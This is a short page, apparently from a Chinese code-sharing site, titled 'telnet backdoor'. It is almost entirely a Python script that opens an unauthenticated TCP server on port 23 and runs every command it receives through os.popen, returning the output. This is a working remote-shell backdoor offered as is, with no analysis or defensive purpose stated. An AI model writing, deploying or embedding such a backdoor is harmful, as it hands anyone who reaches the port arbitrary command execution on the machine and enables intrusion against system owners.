telnet backdoor

import socketserver,os
PORT = 23

class Handler(socketserver.BaseRequestHandler):

    def handle(self):
        while True:
            t=''
            self.data = self.request.recv(1024).strip()
            c=os.popen(self.data.decode())
            for i in c:
                t=t+i
            self.request.send(t.encode('gbk'))
        
vtyd = socketserver.ThreadingTCPServer(("", PORT), Handler)
vtyd.serve_forever()

        

你可能感兴趣的:(telnet backdoor)